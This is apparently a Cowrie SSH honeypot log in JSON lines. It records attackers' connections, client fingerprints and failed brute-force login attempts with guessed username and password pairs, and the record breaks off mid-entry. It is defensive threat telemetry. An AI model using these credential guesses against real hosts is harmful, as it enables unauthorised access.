{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:00.941715Z","src_ip":"159.65.58.200","session":"56221dc2a310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sap","password":"123456","message":"login attempt [sap/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:02.820404Z","src_ip":"159.65.58.200","session":"56221dc2a310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41438,"dst_ip":"10.17.0.5","dst_port":22,"session":"578d0e573de7","protocol":"ssh","message":"New connection: 8.210.75.243:41438 (10.17.0.5:22) [session: 578d0e573de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:02.996607Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":49644,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dd9a15dd2ce","protocol":"ssh","message":"New connection: 103.187.165.26:49644 (10.17.0.5:22) [session: 2dd9a15dd2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:03.941310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:03.945223Z","src_ip":"103.187.165.26","session":"2dd9a15dd2ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:04.131333Z","src_ip":"159.65.58.200","session":"56221dc2a310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:04.185811Z","src_ip":"103.187.165.26","session":"2dd9a15dd2ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nb123456","message":"login attempt [root/Nb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:05.183696Z","src_ip":"103.187.165.26","session":"2dd9a15dd2ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:06.426572Z","src_ip":"103.187.165.26","session":"2dd9a15dd2ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37508,"dst_ip":"10.17.0.5","dst_port":22,"session":"6028211979e6","protocol":"ssh","message":"New connection: 165.154.137.186:37508 (10.17.0.5:22) [session: 6028211979e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:07.351126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:07.354283Z","src_ip":"165.154.137.186","session":"6028211979e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:07.620653Z","src_ip":"165.154.137.186","session":"6028211979e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:08.422126Z","src_ip":"165.154.137.186","session":"6028211979e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37522,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd27b4ddda4a","protocol":"ssh","message":"New connection: 165.154.137.186:37522 (10.17.0.5:22) [session: fd27b4ddda4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:09.070822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:09.074639Z","src_ip":"165.154.137.186","session":"fd27b4ddda4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:09.329087Z","src_ip":"165.154.137.186","session":"fd27b4ddda4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:09.691654Z","src_ip":"165.154.137.186","session":"6028211979e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:10.093435Z","src_ip":"165.154.137.186","session":"fd27b4ddda4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":38738,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b288a84410c","protocol":"ssh","message":"New connection: 162.144.64.128:38738 (159.203.135.109:22) [session: 0b288a84410c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:10.977130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:10.980479Z","src_ip":"162.144.64.128","session":"0b288a84410c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:11.071516Z","src_ip":"162.144.64.128","session":"0b288a84410c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"norway","password":"Oslo#Crypto@P@ss","message":"login attempt [norway/Oslo#Crypto@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:11.337717Z","src_ip":"162.144.64.128","session":"0b288a84410c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:11.352722Z","src_ip":"165.154.137.186","session":"fd27b4ddda4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:12.721637Z","src_ip":"162.144.64.128","session":"0b288a84410c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60070,"dst_ip":"10.17.0.5","dst_port":22,"session":"833c5e7400f7","protocol":"ssh","message":"New connection: 165.154.137.186:60070 (10.17.0.5:22) [session: 833c5e7400f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:18.890258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:18.892337Z","src_ip":"165.154.137.186","session":"833c5e7400f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:19.159243Z","src_ip":"165.154.137.186","session":"833c5e7400f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:19.962500Z","src_ip":"165.154.137.186","session":"833c5e7400f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:21.234229Z","src_ip":"165.154.137.186","session":"833c5e7400f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53536,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aa387827bfc","protocol":"ssh","message":"New connection: 8.210.75.243:53536 (10.17.0.5:22) [session: 2aa387827bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:23.343853Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54114,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b610d3c282e","protocol":"ssh","message":"New connection: 165.154.137.186:54114 (10.17.0.5:22) [session: 9b610d3c282e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:31.398264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:31.400795Z","src_ip":"165.154.137.186","session":"9b610d3c282e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:31.653747Z","src_ip":"165.154.137.186","session":"9b610d3c282e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:32.414621Z","src_ip":"165.154.137.186","session":"9b610d3c282e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:33.672353Z","src_ip":"165.154.137.186","session":"9b610d3c282e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":34430,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35d067182cf","protocol":"ssh","message":"New connection: 101.47.159.50:34430 (10.17.0.5:22) [session: a35d067182cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:35.571172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:35.574764Z","src_ip":"101.47.159.50","session":"a35d067182cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:35.818715Z","src_ip":"101.47.159.50","session":"a35d067182cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inter","message":"login attempt [root/inter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:36.813167Z","src_ip":"101.47.159.50","session":"a35d067182cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:38.054976Z","src_ip":"101.47.159.50","session":"a35d067182cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35854,"dst_ip":"10.17.0.5","dst_port":22,"session":"07a2f8e0456b","protocol":"ssh","message":"New connection: 165.154.137.186:35854 (10.17.0.5:22) [session: 07a2f8e0456b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:41.906476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:41.911427Z","src_ip":"165.154.137.186","session":"07a2f8e0456b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds